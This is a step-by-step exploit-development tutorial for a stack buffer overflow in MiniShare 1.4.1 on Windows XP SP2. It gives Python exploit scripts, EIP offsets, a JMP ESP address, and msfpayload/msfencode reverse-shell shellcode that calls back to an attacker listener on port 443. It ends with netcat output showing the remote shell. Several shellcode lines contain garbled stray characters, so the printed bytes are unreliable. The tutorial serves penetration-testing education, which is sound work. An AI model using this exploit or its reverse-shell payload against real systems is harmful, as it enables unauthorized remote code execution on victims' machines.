Introduction
One thing I have always maintained is that aspiring or practicing
penetration testers who use an exploitation product (such as CANVAS,
Core Impact, Metasploit) should know how buffer overflows actually work.
Having this knowledge will help you understand the circumstances under
which these products can work, will help you troubleshoot when things
don't work and will correct unrealistic expectations about what the
products are capable of.
In addition, being able to reproduce buffer overflow exploits will also
give you the tools to more accurately assess the risk of discovered
vulnerabilities as well as to develop effective countermeasures for
exploits out in the wild. These are important skills for incident
responders and for those attempting to protect their networks.
To this end, I am going to write a series of tutorials on how to write
buffer overflows. This is the first entry in this series, and it will
cover how to recreate a simple stack based buffer overflow in the
Windows application MiniShare 1.4.1. MiniShare 1.4.1 is an older version
of the MiniShare application and the vulnerability we will be attacking
has been patched in the current version of the application. While this
vulnerability could probably be considered out of date, it does provide a
very good example of a simple stack based buffer overflow, which makes
it ideal to use in a beginners buffer overflow tutorial such as this.
In this tutorial I am going to focus exclusively on the practical skills
needed to exploit buffer overflows, and I won't go into any uneccessary
details on the theory of how they work, or how buffer overflows can be
discovered. There are many other resources available on buffer overflow
theory, and I will cover off on the vulnerability discovery angle in a
later post.
Required Knowledge
To follow this tutorial you will need to have basic knowledge of:
- TCP/IP networking,
- management of the Windows Operating System (including installing
software, running and restarting services, connecting to remote desktop
sessions, etc), and
- running Python scripts.
You need to have good enough knowledge of the attacking system you use
(whether it be BackTrack, another type of Linux, Windows or anything
else) to be able to run programs and scripts.
Python programming skills and knowledge of Metasploit usage are a bonus but not required.
System Setup
In order to reproduce this exploit for the tutorial, I used a victim
system running Windows XP SP2, and a attacking system running BackTrack 4
PreFinal.
You don't need to reproduce my setup exactly, but I would suggest
sticking to Windows XP SP2 or earlier for the victim system. The
attacking system can be anything you feel comfortable in, as long as it
can run the software I have specified below, and as long as you are able
to translate the Linux commands I will be using in the tutorial into
something appropriate for your chosen system.
If required, you can get a XP SP2 Virtual Machine to use as your victim by following the instructions in the
Metasploit Unleashed
course, starting in the section "02 Required Materials" - "Windows XP
SP2" up to the section entitled "XP SP2 Post Install".Your victim system
must use a X86 based processor.
In this tutorial my attacking and victim systems used the following IP
Addresses. You will need to substitute the addresses of your own systems
where ever these addresses appear in the code or commands listed below.
- Attacker system: 192.168.20.11
- Victim system: 192.168.10.27
The two systems are networked together and I have interactive GUI
access to the desktop of the victim system via a remote desktop session.
You will need to be able to easily and quickly switch between
controlling
your attacking system and the victim system when following this
tutorial, so make sure you have things set up appropriately before you
proceed.
Required Software on Attacking and Victim Systems
Your attacker and victim systems will need the following software
installed in order to follow this tutorial. By using BackTrack 4
PreFinal for your attacking system you will take care of all of the
attacking system prerequisitites.
The attacking system requires the following software:
- Perl interpreter
- Python interpreter
- Metasploit 3.x
- Text Editor
- Netcat
The victim system requires the following software:
Ensure that all required software is installed and operational before you proceed with this tutorial.
Attaching to your program in the debugger
The first thing you need to learn in order to proceed with this tutorial
is how to attach to your vulnerable program in a debugger. This is
essential when developing an buffer overflow exploit, as it allows us to
see what is going on inside the application during the crash that
allows a buffer overflow to occur. This information allows us to
structure a buffer to be sent to the application in a fashion that
allows us to take control of that programs execution.
In this tutorial we will be using OllyDbg as our debugger and MiniShare
1.4.1 as our vulnerable application. Both applications need to be
installed on our victim system before we can proceed. OllyDbg just needs
to be unzipped to a folder, and you can then run the application using
the Ollydbg.exe executable, and MiniShare can be installed using the
downloaded installer. Put a shortcut to OllyDbg in a convenient place
like the desktop, because you will be using it a lot during the exploit
development process.
To attach MiniShare to our debugger, we simply use the File->Open
menu option in OllyDbg, then browse to the install location of MiniShare
(C:\Program Files\MiniShare\ by default) and open minishare.exe.

We can also start Minishare outside of the debugger, and use the
File->Attach option to pick the process from a list and have the
debugger then take control of that process.
This second method is often the way that we need to attach to processes
which are started as services (e.g those managed in the Services Control
panel in Windows), and these programs usually also need to be restarted
outside of the debugger as well.
Where possible, I prefer to start the program within the debugger,
because it captures control of the program at an earlier stage in that
programs execution and you can restart the process from within the
debugger as well.
If you ever have any issues with starting a program directly in the
debugger (for example if the program terminates shortly after starting),
keep in mind that you many need to control the starting and stopping of
that program outside of the debugger and use the attach method to debug
the program.
Whichever way we attach to MiniShare, once the debugger has control execution of the debugged program will pause in the debugger

The program here is being controlled by the debugger, and if you wished
you could use various OllyDbg commands to step through the various
instructions you see on the screen to watch how the program operates. At
this point we just want to let the program run until an exception
occurs, so we can either hit the F9 key, the Run Program button on the
toolbar (it looks like a Play icon), or use the Debug->Run option.
This will allow the program to run on its own within the debugger until
something happens that makes the debugger take control again, such as a
breakpoint being hit or an exception occurring.
During this process we will be triggering exceptions in the debugged
MiniShare process, and these exceptions will break the normal operating
of the process. For this reason, you will need to restart the process in
the debugger once you are ready to trigger the exception again. To do
this with Minishare, you can use the Debug->Restart menu option,
after which you will need to use the Run (F9) option to let the program
run once more.
The OllyDbg Main Window
At this point we should briefly go over the main OllyDbg window so you
know what you are looking at. The main OllyDbg window (or CPU window) is
comprised of four panes.
The top left hand pane shows a list of instructions that are being
executed by the CPU. The first column in this pane shows the memory
address that the instruction is located at, the second column shows the
machine language opcode of the instruction and the third column shows
the assembled form of the instruction in MASM format (by default).
The bottom left hand pane shows a memory dump of the current section of
memory in which execution is occurring. There are a variety of different
view formats available but by default you will see the Hex output which
shows the address of the memory, a hex dump and an ASCII equivalent.
In the top right hand pane you will see the various registers of the CPU
which are used to support execution of code. Two registers that you may
want to know about for the purpose of this tutorial are the EIP
register, which contains the address of the instruction that the CPU
will execute next, and ESP which contains a pointer to the current entry
in an important memory structure called the stack.
In the bottom right hand pane you see the stack, which is a memory
structure that contains a virtual pile of 32 bit (4 byte) addresses. The
stack is a first in last, out structure in memory that programs use to
store variables and to keep track of their position in code when
functions are called. To get entries onto the stack you have to add them
onto the top, and only the top most entry can be removed from the
stack, so to get to the third entry down you first need to remove the
two entries above.

Each of these different panes has different context sensitive menus that
can be accessed via a right click and which will perform useful
actions. Id encourage you to spend some time looking around this window
and familiarising yourself with the layout before continuing.
Triggering the Vulnerability
Now that we have our program running in a debugger we need to know how
to actually trigger the vulnerability so that we can analyse it in order
to develop an exploit. If we know some of the details about how the
vulnerability is trigger we can
By checking a
security advisory for the vulnerability and by looking at an
existing exploit we can see that the vulnerability is triggered by sending an overly large GET request to the system.
We can find out the standard format of a HTTP GET request by checking
the HTTP RFC document or taking a packet capture of some web browser
traffic, but basically a GET request contains a URI to be retrieved from
a web server, followed by the HTTP protocol version, followed by other
headers (some of which are optional), ended by two new lines.
Doing a packet capture of a request to
www.google.com shows that the
request starts with "GET / HTTP/1.1" then contains a number of other
headers and is ended by two new line, carriage return characters.
We can try and reproduce the overflow by sending the following to the vulnerable server:
"GET [long string of A characters] HTTP/1.1[new_line, carriage_return x 2]"
We can send this via using the following Python script. In the script
"\x41" is the hexadecimal value for the ASCII "A" character, and "\r\n"
is a new line carriage return. You will need to modify the
target_address variable to contain the address of your own victim
system. Save this to a file called minisharesploit.py, and on a Linux
system like BackTrack you will be able to run it by first marking it
executable using "chmod +x minisharesploit.py", on Windows you will
probably need to run this by directly calling the python interpreter at
the command line like so "python minisharesploit.py". Python is white
space sensitive so make sure you don't indent any of the commands.
#!/usr/bin/python
import socket
target_address="192.168.10.27"
target_port=80
buffer = "GET " + "\x41" * 2220 + " HTTP/1.1\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()
Note that there is a space character within the double quotes AFTER the
GET and a space character within the double quotes BEFORE the HTTP/1.1.
On Linux, run the script like so to trigger the exploit.
user@bt4pf:~$ ./minisharesploit.py
When we run this script and it sends the bad buffer to the application,
we should see the debugger kick in and stop execution of the application
when it detects an exception. In the debugger, we should see that the
application crashes with an access violation reading 41414141, and the
EIP register (in the top left hand pane) is pointing to 41414141. This
means that part of the buffer we have sent to the application has been
used to overwrite the value of this register EIP. Seeing this sort of
exception in a debugger is a good indicator that a exploitable buffer
overflow vulnerability has been found.
Taking Control of the Crash
A little more detail about the EIP register is probably required here.
The CPU decides which instruction to execute next by reading the value
of the EIP register and executing the instruction that is located at
that memory address. For example if the EIP register contains the
address 0x77daaf0a, and that memory address stores the codes \xff\xe4
(which are the machine language opcodes for the assembly instruction JMP
ESP) then the CPU will execute that instruction, causing it to "jump"
execution to the memory location stored in the ESP register. The value
of the EIP register will then be set to the value of the ESP register,
and the CPU will execute the instruction located in the memory address
referenced by the ESP register. So, if the ESP register contained the
value 0x01423908, a JMP ESP machine instruction would then cause EIP to
be set to 0x01423908, and whatever machine language instruction was
located at the memory address 0x01423908 would be executed next.
Consequently, in order to redirect execution for our exploit, we need to
overwrite the EIP register with a memory location that contains a
machine language instruction that will in turn point the EIP register to
an area in which we can place our own code. The most obvious place for
us to place our own code is within the same buffer of data we send to
the vulnerable application to trigger the exception that allows the
buffer overflow to occur.
Now we don't know the exact address of the memory location that we
control via the buffer that we send, but we do know from checking the
register values at the time of the crash that the ESP register points to
a location within this buffer. Consequently, if we can redirect code
execution to the memory location referred to by ESP, and if we place our
own machine language instructions into the buffer location pointed to
by ESP, then we will have successfully exploited the application to run
our own code.
Finding a JMP ESP Instruction
The first step in doing this will be to overwrite the EIP address at the
time of the crash with a known memory location containing machine
language instruction that will redirect code into our buffer. Since the
ESP register points into our buffer at the time of the crash the JMP
ESP command discussed earlier will fit the bill nicely.
So how can we find a JMP ESP instruction that sits in a predictable
location in memory that we can use? Well, there are a number of ways to
achieve this, but my chosen method is to do it through the debugger.
First of all, open the View menu in Olly and select the Executable
Modules option. This will bring up a new window showing all of the
loaded executable modules that this process owns. For Minishare, we can
see the minishare.exe at the top of the list, and then a number of
Windows DLLs that have been loaded by Minishare to provide additional
needed functionality. We can search within these executable modules for
the JMP ESP instruction that we need.

Note: Now
a quick note about this before we proceed any further. I am
reproducing this exploit on Windows XP SP2. Windows XP does not have
any protections in place to randomise the base location from which DLLs
are loaded, so every time this application runs each DLL will be loaded
into memory at the exact same starting address. This means that
instructions located WITHIN the DLL will also be in the exact same
address every time the program runs. Windows Vista and Windows 7
implement a protection called ASLR which results in certain DLLs
(particularly Windows system DLLs) being loaded at randomised base
locations, meaning that instructions within those DLLs will be at
different memory addresses after a system restart. There are ways
around this protection, but they are beyond the scope of this article.
I'd suggest reproducing this only on Windows XP.
In addition to this little fact about
ASLR, also keep in mind that with each Service Pack, the exact layout of
certain system DLLs will change, and different language versions of the
Windows OS may also have different DLL structures. What this means is
that when searching for machine code instructions in DLLs, you may come
up with slightly different memory addresses than I do, so aim to
understand the process by which I discover these addresses rather than
trying to copy the exact addresses I use.
Looking at our list of executable modules, we can pick almost any of
these to locate our JMP ESP address, however there are some things we
should consider when selecting. First of all, we want to avoid any
address that contains a zero byte \x00. This character is considered a
string terminator in the C programming language, and usually has the
effect of breaking an exploit when it is included within a buffer. For a
similar reason, we also want to avoid the line feed and carriage return
characters \x0a and \x0d. This means that using any addresses from
minishare.exe is out of the question because all of the addresses within
this executable being with a zero byte (the base address is
0x00400000). In addition, where possible, it is preferable to use DLLs
that come with the application itself, because these addresses don't
change with different Operating System Service packs or Language
versions, allowing the exploit to be more portable. Since there are no
additional DLLs as part of MiniShare, we will have to settle for using
one of the Windows DLLs that are loaded. Its best to pick fairly
"major" DLLs that are less likely to change as a result of hotfixes. I
usually use either shell32.dll or user32.dll. Lets search in
shell32.dll first.
Right click on the entry for shell32.dll in the Executable Modules window, and select View Code in CPU.

Then right click in the CPU area (which should now be showing the code
for the for the shell32.dll module - check the text after "module" in
the title bar to confirm) and select Search for -> Command or use
CTRL-F.

In the Find Command box type JMP ESP and hit Find.

In my system, this takes me to a JMP ESP command located at the memory address 0x7CA58265 of SHELL32.dll.

This address seems to be free of all the usual bad characters
(\x00\x0a\x0d) so we will use this address to overwrite EIP. If the
first address that appears when you search contains bad characters, you
can find the next JMP ESP command by using Search for-> Next or hit
CTRL-L.
Finding Offsets Within Our Buffer
Now that we have an address to use to overwrite EIP, we need to find the
exact location within our buffer at which EIP is overwritten, so we can
structure the buffer we send appropriately. We also need to find the
location in our buffer where the ESP register points, so we can locate
our machine language code there.
To do this, we can use a tool distributed with the Metasploit framework
called pattern_create.rb. This tool creates a unique pattern of a
specified length, which can be fed into a buffer sent to our vulnerable
application that will then reveal the various offsets into our buffer
where overwrites occur.
Lets generate a string of the appropriate length and put it into our skeleton exploit.
user@bt4pf:~$ cd /pentest/exploits/framework3/tools/
user@bt4pf:/pentest/exploits/framework3/tools$ ./pattern_create.rb 2220
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa....Cv4Cv5Cv6Cv7Cv8Cv9
Note that I have contracted the output of
the pattern_create.rb tool in the above output and the below skeleton
exploit for readability purposes. You need to paste the WHOLE of the
output from pattern_create into your exploit.
Our exploit then becomes as follows:
#!/usr/bin/python
import socket
target_address="192.168.10.27"
target_port=80
buffer = "GET "
buffer+= ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa....Cv4Cv5Cv6Cv7Cv8Cv9")
buffer+= " HTTP/1.1\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()
Now we use the Debug->Restart option in OllyDbg to restart MiniShare
and hit the Play button or F9 to let the application run, and we trigger
the exploit again. Remember we will need to do this every time we want
to re-trigger the crash associated with this vulnerability.
This time when our exception is caught by the debugger, we get an access
violation with EIP pointing to 36684345 and ESP points to a memory
location containing the text "Ch7Ch8h9....."

Lets find the offsets for these addresses using the Metasploit pattern_offset.rb tool.
user@bt4pf:/pentest/exploits/framework3/tools$ ./pattern_offset.rb 36684335
1787
user@bt4pf:/pentest/exploits/framework3/tools$ ./pattern_offset.rb Ch7C
1791
According to this EIP is overwritten at 1787 bytes into our buffer, and
ESP points to a location 1791 bytes into our buffer. Lets restructure
the buffer in our exploit to confirm that this is correct.
#!/usr/bin/python
import socket
target_address="192.168.10.27"
target_port=80
buffer = "GET "
buffer+= "\x90" * 1787
buffer+= "\x41\x41\x41\x41" # EIP Should be overwritten here
buffer+= "\x90" * (1791 - len(buffer))
buffer+= "\xcc" * (2220 - len(buffer)) # ESP should point here
buffer+= " HTTP/1.1\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()
We restart the MiniShare application, and run the next exploit, and at
the time of the crash we see that EIP now points to 41414141 and ESP is
pointing immediately after our overwrite address.
So we now know the exact offsets we need in order to overwrite EIP with
an address of our choosing, so we can proceed to add the correct data
into our buffer.
Modifying the Exploit to Get Code Execution
First we will want to use the JMP ESP address we obtained earlier to overwrite EIP.
Now there is a trick to doing this that is required because of the
little endian order of X86 compatible processors. Basically, little
endian ordering means that the the significant byte in a number is
placed in the leftmost position in registers, followed by the second
least significant byte, all the way to the most significant byte on the
right. To get our JMP ESP address of 7CA58265 into EIP we have to
reorder the bytes to place the least significant byte first. The
address 7CA58265 is made up of four bytes, 7C, A5, 82 and 65, where each
byte is represented by two Heaxdecimal characters. To get this value
from the stack (where the buffer overflow occurs) into the EIP register,
we need to reorder the bytes as 65, 82, A5 and 7C or 6582A57C.
Lets write this into our exploit. Remember that your JMP ESP address
could be different if you are using a different patch level or language
version of Windows to me, so you should use the address you found using
the method described earlier.
#!/usr/bin/python
import socket
target_address="192.168.10.27"
target_port=80
buffer = "GET "
buffer+= "\x90" * 1787
buffer+= "\x65\x82\xA5\x7C" # EIP Overwrite. Shell32.dll, XP SP2, JMP ESP, 7CA58265.
buffer+= "\xcc" * (2220 - len(buffer)) # ESP points here.
buffer+= " HTTP/1.1\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()
Lets restart MiniShare in our debugger and use the play button or F9 to let MiniShare run.
Before we send the exploit this time however, we will set a breakpoint
on our overwrite address to confirm that execution is being correctly
redirected. In the top left hand pane of the CPU window, right click
and select Go to->Expression. In the window, enter the address of
your JMP ESP instruction (7CA58265 in my case), and hit OK. Then with
the JMP ESP instruction highlighted, hit the F2 key to add a breakpoint.
The address portion of the CPU window for that particular instruction
should turn red, which will
indicate that the breakpoint is set. The breakpoint basically stops the
execution of the program in the debugger when we reach that particular
point in the code, and it will allow us to confirm that our JMP is
happening as expected without letting our code just continue to run.
(Although I have done something when structuring the buffer that will
have a very similar effect - bonus points for anyone who works it out!
Hint: It may involve those \xcc characters..)
Now send the exploit....
Once you do so, the crash should be triggered and execution should pause
at the breakpoint you just specified. Now if you hit the F7 key,
execution should "step" to the first of the \xcc characters from our
sent buffer. If this does not happen, recheck your exploit making sure
your offsets are correct, that you put your JMP ESP address into the
buffer in the correct little endian order and that there are no \x00,
\x0a, or \x0d bytes in your JMP ESP address.
Adding Shellcode to the Exploit
Now we have basic code execution, however our exploit still wont do
anything useful until we place some machine language code into our
buffer. For this we can use the Metasploit msfpayload tool to generate
shellcode which we can add to the buffer. This is code made up of
machine language opcodes that can do things such as open shells, run
programs and so forth.
We will generate a reverse shell payload, which basically makes the
exploited program initiate a TCP connection back to a listener on our
local system, and then tunnels a shell over that connection.
We use the LHOST and LPORT parameters to connect back to our attacking
system 192.168.20.11 on port 443. We use the 'C' parameter to get the
output in c ctyle format. You should obviously use an IP address and
port appropriate to your own attacking system. If you have problems with
this command below you may need to change to the Metasploit directory,
which is /pentest/exploits/framework3/ on BackTrack.
user@bt4pf:~$ msfpayload windows/shell_reverse_tcp LHOST=192.168.20.11 LPORT=443 C
/*
* windows/shell_reverse_tcp - 314 bytes
* http://www.metasploit.com
* LHOST=192.168.20.11, EXITFUNC=process, LPORT=443,
* ReverseConnectRetries=5
*/
unsigned char buf[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\0hf\g6\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\x68\xc0\xa8\x14\x0b\x68\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56"
"\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3"
"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24"
"\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56"
"\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89"
"\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0"
"\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80"
"\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";
Looking at the output we can see a potential problem, as there are a
number of \x00, \x0a and \x0d characters in the output. To get around
this we can use another Metasploit tool, msfencode, which will take raw
shellcode as input and output an encoded version which omits a specified
et of characters.
We modify the msfpayload command to use raw 'R' output, and pipe this
into msfencode to use the X86 architecture, to get rid of bad characters
'\x00\x0a\x0d' and to output in c style format.
user@bt4pf:~$ msfpayload windows/shell_reverse_tcp LHOST=192.168.20.11 LPORT=443 R | msfencode -a x86 -b '\x00\x0a\x0d' -t c
[*] x86/shikata_ga_nai succeeded with size 342 (iteration=1)
unsigned char buf[] =
"\xdb\xdd\xd9\x74\x24\xf4\x2b\xc9\xb1\x4f\x58\xba\x2c\x98\x23"
"\x27\x31\x50\x1a\x83\xe8\xfc\x03\x50\x16\xe2\xd9\x64\xcb\xae"
"\x21\x95\x0c\xd1\xa8\x70\x3d\xc3\xce\xf1\x6c\xd3\x85\x54\x9d"
"\x98\xcb\x4c\x16\xec\xc3\x63\x9f\x5b\x35\x4d\x20\x6a\xf9\x01"
"\xe2\xec\x85\x5b\x37\xcf\xb4\x93\x4a\x0e\xf1\xce\xa5\x42\xaa"
"\x85\x14\x73\xdf\xd8\xa4\x72\x0f\x57\x94\x0c\x2a\xa8\x61\xa7"
"\x35\xf9\xda\xbc\x7d\xe1\x51\x9a\x5d\x10\xb5\xf8\xa1\x5b\xb2"
"\xcb\x52\x5a\x12\x02\x9b\x6c\x5a\xc9\xa2\x40\x57\x13\xe3\x67"
"\x88\x66\x1f\x94\x35\x71\xe4\xe6\xe1\xf4\xf8\x41\x61\xae\xd8"
"\x70\xa6\x29\7hg\xab\x7f\x03\x3d\xf3\x63\x92\x92\x88\x98\x1f\x15"
"\x5e\x29\x5b\x32\x7a\x71\x3f\x5b\xdb\xdf\xee\x64\x67\x3b\x87\x4f"
"\xc1\x30\x2a\x9b\x73\x1b\x23\x68\x4e\xa3\xb3\xe6\xd9\xd0\x81"
"\xa9\x71\x7e\xaa\x22\x5c\x79\xcd\x18\x18\x15\x30\xa3\x59\x3c"
"\xf7\xf7\x09\x56\xde\x77\xc2\xa6\xdf\xad\x45\xf6\x4f\x1e\x26"
"\xa6\x2f\xce\xce\xac\xbf\x31\xee\xcf\x15\x44\x28\x47\x56\xff"
"\xa3\x9c\x3e\x02\xcc\xa3\x05\x8b\x2a\xc9\x69\xda\xe5\x65\x13"
"\x47\x7d\x14\xdc\x5d\x16\xb5\x4f\x3a\xe7\xb0\x73\x95\xb0\x95"
"\x42\xec\x55\x0b\xfc\x46\x48\xd6\x98\xa1\xc8\x0c\x59\x2f\xd0"
"\xc1\xe5\x0b\xc2\x1f\xe5\x17\xb6\xcf\xb0\xc1\x60\xa9\x6a\xa0"
"\xda\x63\xc0\x6a\x8b\xf2\x2a\xad\xcd\xfb\x66\x5b\x31\x4d\xdf"
"\x1a\x4d\x61\xb7\xaa\x36\x9c\x27\x54\xed\x25\x57\x1f\xac\x0f"
"\xf0\xc6\x24\x12\x9d\xf8\x92\x50\x98\x7a\x17\x28\x5f\x62\x52"
"\x2d\x1b\x24\x8e\x5f\x34\xc1\xb0\xcc\x35\xc0\xbb";
Place this into our exploit. There is one more thing we will also do
here, and that is to add a few NOP instructions to the start of our
shellcode. This will resolve issues that can be caused when certain
types of encoded shellcode is run. NOPs are essentially No Operation
instructions that do nothing. Adding a number of NOPs into the right
place in an exploit (like just before shellcode) can help improve
exploit stability.
#!/usr/bin/python
import socket
target_address="192.168.10.27"
target_port=80
buffer = "GET "
buffer+= "\x90" * 1787
buffer+= "\x65\x82\xA5\x7C" # EIP Overwrite. Shell32.dll, XP SP2, JMP ESP, 7CA58265.
# msfpayload windows/shell_reverse_tcp LHOST=192.168.20.11 LPORT=443 R |
msfencode -a x86 -b '\x00\x0a\x0d' -t c - x86/shikata_ga_nai 342 bytes
buffer+= "\x90" * 16
buffer+= ("\xdb\xdd\xd9\x74\x24\xf4\x2b\xc9\xb1\x4f\x58\xba\x2c\x98\x23"
"\x27\x31\x50\x1a\x83\xe8\xfc\x03\x50\x16\xe2\xd9\x64\xcb\xae"
"\x21\x95\x0\c\xd1\xa8\x70\x3d\xc3\xce\xf1\x6c\xd3\x85\x54\x9d"
"\x98\xcb\x4c\x16\xec\xc3\x63\x9f\x5b\x35\x4d\x20\x6a\xf9\x01"
"\xe2\xec\x85\x5b\x37\xcf\xb4\x93\x4a\x0e\xf1\xce\xa5\x42\xaa"
"\x85\x14\x73\xdf\xd8\xa4\x72\x0f\x57\x94\x0c\x2a\xa8\x61\xa7"
"\x35\xf9\xda\xbc\x7d\xe1\x51\x9a\x5d\x10\xb5\xf8\xa1\x5b\xb2"
"\xcb\x52\x5a\x12\x02\x9b\x6c\x5a\xc9\xa2\x40\x57\x13\xe3\x67"
"\x88\x66\x1f\x94\x35\x71\xe4\xe6\xe1\xf4\xf8\x41\x61\xae\xd8"
"\x70\xa6\x29\xab\x7f\x03\x3d\xf3\x63\x92\x92\x88\x98\x1f\x15"
"\x5e\x29\x5b\x32\x7a\x71\x3f\x5b\xdb\xdf\xee\x64\x3b\x87\x4f"
"\xc1\x30\x2a\x9b\x73\x1b\x23\x68\x4e\xa3\xb3\xe5\646\xd9\xd0\x81"
"\xa9\x71\x7e\xaa\x22\x5c\x79\xcd\x18\x18\x15\x30\xa3\x59\x3c"
"\xf7\xf7\x09\x56\xde\x77\xc2\xa6\xdf\xad\x45\xf6\x4f\x1e\x26"
"\xa6\x2f\xce\xce\xac\xbf\x31\xee\xcf\x15\x44\x28\x47\x56\xff"
"\xa3\x9c\x3e\x02\xcc\xa3\x05\x8b\x2a\xc9\x69\xda\xe5\x65\x13"
"\x47\x7d\x14\xdc\x5d\x16\xb5\x4f\x3a\xe7\xb0\x73\x95\xb0\x95"
"\x42\xec\x55\x0b\xfc\x46\x48\xd6\x98\xa1\xc8\x0c\x59\x2f\xd0"
"\xc1\xe5\x0b\xc2\x1f\xe5\x17\xb6\xcf\xb0\xc1\x60\xa9\x6a\xa0"
"\xda\x63\xc0\x6a\x8b\xf2\x2a\xad\xcd\xfb\x66\x5b\x31\x4d\xdf"
"\x1a\x4d\x61\xb7\xaa\x36\x9c\x27\x54\xed\x25\x57\x1f\xac\x0f"
"\xf0\xc6\x24\x12\x9d\xf8\x92\x50\x98\x7a\x17\x28\x5f\x62\x52"
"\x2d\x1b\x24\x8e\x5f\x34\xc1\xb0\xcc\x35\xc0\xbb")
buffer+= " HTTP/1.1\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()
Testing the Exploit
To test our exploit, which is going to generate a reverse shell back to
our system, we need to set up a listener on our local machine for the
reverse shell to connect to. We will use netcat to do this, and on
Linux we do this as root so that we have permission to bind to the
privileged port of 443.
root@bt4pf:~# nc -nvvlp 443
listening on [any] 443 ...
Now we restart MiniShare in the debugger, set our breakpoint address
once more on our JMP ESP address, and run the exploit. The program
should pause execution at the breakpoint, and if we use the F7 key to
step forward, we should end up at the start of our shellcode. Following
ESP in the memory dump, we can do a quick visual inspection of the
contents of memory to confirm that our shellcode has made it in
unmolested. We then let the program run by using the F9 key or the play
button.
Then going back to the listener, we can see that we have a shell.
root@bt4pf:~# nc -nvvlp 443
listening on [any] 443 ...
connect to [192.168.20.11] from (UNKNOWN) [192.168.10.27] 1101
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Program Files\MiniShare>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . : lan
IP Address. . . . . . . . . . . . : 192.168.10.27
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.10.1
C:\Program Files\MiniShare>
We can try this again with the MiniShare server running outside of the debugger, and we should again get a shell.
root@giraffe:~# nc -nvvlp 443
listening on [any] 443 ...
connect to [192.168.20.11] from (UNKNOWN) [192.168.10.27] 1102
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Program Files\MiniShare>
That's it, the exploit is now complete!!!
All Credits to Lupin of Gray-corner
Information Source